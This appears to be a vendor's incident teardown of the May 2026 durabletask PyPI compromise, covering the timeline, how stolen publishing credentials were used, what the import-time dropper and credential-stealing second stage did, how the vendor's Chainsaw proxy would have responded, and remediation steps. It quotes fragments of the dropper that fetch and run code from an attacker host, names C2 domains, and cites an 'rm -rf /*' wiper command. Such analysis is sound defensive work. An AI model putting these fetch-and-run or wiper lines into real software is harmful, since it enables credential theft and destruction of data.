Teardown: the durabletask PyPI compromise

Stolen PyPI publishing access, and 14 lines that fetch and run a credential stealer on import.

What happened on 19 May 2026, what ran when the package loaded, and where Chainsaw would and would not have stopped it.

Questions and answers

What happened?

On 19 May 2026, three malicious versions of durabletask, Microsoft’s Python SDK for the Durable Task framework, were uploaded to PyPI: 1.4.1, 1.4.2 and 1.4.3. StepSecurity and SafeDep give the upload times as 16:19, 16:49 and 16:54 UTC, a 35-minute window, and the OSV entry MAL-2026-4174 gives the same 16:19 to 16:54 UTC range. The last clean release was 1.4.0, from 8 April 2026. StepSecurity says the package is downloaded over 400,000 times a month.

StepSecurity’s timeline has the first public advisory, MAL-2026-4174, at 16:47 UTC, GitHub issue #137 filed at 17:54 UTC, and Microsoft confirming the versions were yanked at 18:04 UTC. On the issue, Microsoft’s maintainers then said PyPI had quarantined the project and suspended the maintainer accounts as a precaution, and on 20 May that the project was relisted and 1.4.0 was safe to use. Wiz says PyPI quarantined the packages after its analysis. No source we read gives a download count for the three malicious versions.

Wiz and StepSecurity attribute the attack to TeamPCP, citing infrastructure shared with earlier TeamPCP attacks. Aikido calls the attribution likely but unconfirmed, and SafeDep does not name an actor.

How did the attacker get in?

The attacker behind the May 2026 durabletask compromise got in with PyPI publishing credentials, which were used to upload the three malicious versions straight to PyPI outside the release pipeline of Microsoft’s project. StepSecurity found no matching tags, releases or CI runs in the GitHub repository. The release workflow publishes with a PYPI_API_TOKEN stored in GitHub secrets, and the durabletask project did not use PyPI trusted publishing.

Sources differ on where the credentials came from:

  • Wiz says a GitHub account compromised in an earlier attack was seen working on microsoft/durabletask-python between 15:08 and 15:16 UTC, and concludes the attacker dumped repository secrets and used the PyPI token to publish.
  • StepSecurity says the evidence points to a compromised token or maintainer account.
  • SafeDep says the theft vector is unknown, and OSV describes a maintainer account takeover.

What changed in the package?

Each malicious durabletask release added a dropper that replaced the Microsoft copyright header at the top of durabletask/__init__.py, per StepSecurity. The dropper was a Linux-only downloader that fetched and started a second stage when the package was imported, so nothing ran during pip install. Across the three versions uploaded on 19 May 2026, the same dropper spread into more files, according to StepSecurity, SafeDep and Aikido:

  • 1.4.1: durabletask/__init__.py.
  • 1.4.2: adds durabletask/task.py.
  • 1.4.3: adds entities/__init__.py, extensions/__init__.py and payload/__init__.py, five files in all.

Wiz’s comparison table lists the injection points per version differently, naming only task.py for 1.4.2 and the three subpackage files for 1.4.3.

What ran on import?

On Linux, importing the May 2026 durabletask releases downloaded a second stage and started the payload in the background. SafeDep publishes the code: under if platform.system() == "Linux":, it calls urllib.request.urlretrieve to fetch https://check.git-service.com/rope.pyz to /tmp/managed.pyz, then runs subprocess.Popen(["python3", "/tmp/managed.pyz"], ..., start_new_session=True) with all output sent to os.devnull. Errors are swallowed. Nothing runs during pip install; OSV notes that install-time sandboxes may not see it for that reason.

The second stage, rope.pyz, is a Python zipapp of about 28 KB, or 28,703 bytes according to StepSecurity. StepSecurity, SafeDep, Aikido and OSV describe the zipapp:

  • Gates: the zipapp exits on anything but Linux, on a LANG starting with ru, and on machines with two or fewer CPUs.
  • Theft: AWS Secrets Manager and SSM Parameter Store, Azure Key Vaults, GCP Secret Manager and service account keys, Kubernetes secrets, HashiCorp Vault, and local password managers such as 1Password and Bitwarden, which it tries to unlock with candidate passwords from environment variables and shell history. Sources count the credential file paths differently: StepSecurity 99, OSV 85, SafeDep and Aikido “over 90”.
  • Exfiltration: data is encrypted with AES-256-GCM, the key wrapped with RSA, and POSTed to check.git-service.com/api/public/version. Fallbacks look for C2 addresses in GitHub commits containing FIRESCALE, then push the data to new public repositories under stolen GitHub tokens.
  • Spread: AWS SSM SendCommand to up to five other instances and kubectl exec into up to five pods, using ~/.cache/.sys-update-check markers to avoid reinfection.
  • Persistence: a systemd unit, pgsql-monitor.service, posing as a PostgreSQL monitor.
  • Wiper: on hosts with Israeli or Iranian timezone or locale markers, a one-in-six roll plays audio and runs rm -rf /*.

StepSecurity measured the chain from import durabletask to credential theft at under four seconds.

Would Chainsaw have stopped it?

Yes, for installs that go through the Chainsaw proxy: 1.4.1, 1.4.2 and 1.4.3 are refused on first download, on day 0, without relying on a malware feed. We measured this in our re-run of 58 attacks from 2026 against production Chainsaw (v0.22.118) on 19 October 2026:

  • A default rule refuses all three versions on day 0. The default policy rule “Block import-time execution of fetched or decoded code” refuses packages whose code runs a downloaded or decoded payload when it is imported. A module-level urlretrieve to /tmp/managed.pyz followed by Popen(["python3", "/tmp/managed.pyz"]) is that shape, so the first request fails.
  • The rule has to be in your policy. It is part of the default policy set. An organisation whose policies do not include it gets the hold and the feed below, not the day-0 refusal.
  • The release hold and the feed sit behind it. Chainsaw holds every new PyPI version for 48 hours by default, and the known-malicious feed lists all three versions under MAL-2026-4174, a record first published at 16:47 UTC on 19 May, inside the hold.
  • Installs that bypass the proxy get the malware. A machine or CI runner pointed straight at pypi.org is not protected. That is why Chainsaw also gates CI, pins laptops through MDM and blocks direct registry traffic at the network.
  • A dropper that hides the file path. The refusal rests on the downloaded file’s path appearing, as a literal or a plain variable name, in the line that runs it. A path built with os.path.join, for example, or passed through a second variable would not match this rule, and the version would rely on the hold and the feed.
  • The C2 host alone. check.git-service.com is not on Chainsaw’s exfiltration host list, so no indicator rule fires on it. The refusal comes from the download-and-run shape only.
  • rope.pyz itself. The second stage comes from the attacker’s server at import time, not from PyPI, so Chainsaw never inspects it. The refusal does not depend on it.
  • The later repository attack. StepSecurity reports that on 5 June 2026 the Azure/durabletask GitHub repository received a commit adding editor and AI-assistant config files that run a payload when the repository is opened. That is not an install from a registry, and this result makes no claim for it.

What should you do?

Any Linux machine, container or CI runner that imported Microsoft’s durabletask 1.4.1, 1.4.2 or 1.4.3 from PyPI on 19 May 2026 should be treated as compromised, as OSV, StepSecurity and SafeDep advise. Uninstalling the package is not enough. The most urgent step after confirming a hit is rotating every credential the host could reach, because the second stage was built to steal cloud, Kubernetes, Vault and password manager secrets.

  1. Check what you installed. Run pip show durabletask and search lockfiles and CI logs for the three versions.
  2. Pin to 1.4.0, which Microsoft confirmed safe on the issue, or a later release. The maintainers say 1.5.0 was published with trusted publishing.
  3. Look for the host artifacts StepSecurity and Wiz list: /tmp/managed.pyz, /tmp/rope-*.pyz, ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s, pgmonitor.py in /usr/bin or ~/.local/bin, the pgsql-monitor.service unit, and running python3 /tmp/managed.pyz processes.
  4. Rotate every credential the host could reach: AWS, Azure and GCP credentials, Kubernetes service account tokens, Vault tokens, SSH keys, GitHub tokens, database passwords and password manager master passwords. Assume shell history was taken.
  5. Audit for spread. Wiz advises reviewing CloudTrail for SendCommand and DescribeInstanceInformation from affected instances, and Kubernetes audit logs for unexpected kubectl exec. Aikido adds GitHub: look for new public repositories with folklore names that you did not create.
  6. Block both C2 domains, check.git-service.com and t.m-kosche.com, at DNS or egress.

For the next one:

  1. Pin dependencies with hashes, for example with pip install --require-hashes.
  2. Publish with PyPI trusted publishing, not a long-lived API token, as StepSecurity recommends; SafeDep names its absence as the weakness.
  3. Watch for releases with no matching GitHub tag. None of the three versions had one.
  4. Restrict outbound traffic from CI and production, so a dropper cannot reach its server.

Sources

One teardown per notable attack

Get the next teardown by email

What happened, the install-path angle most coverage misses, and the rule that refuses it.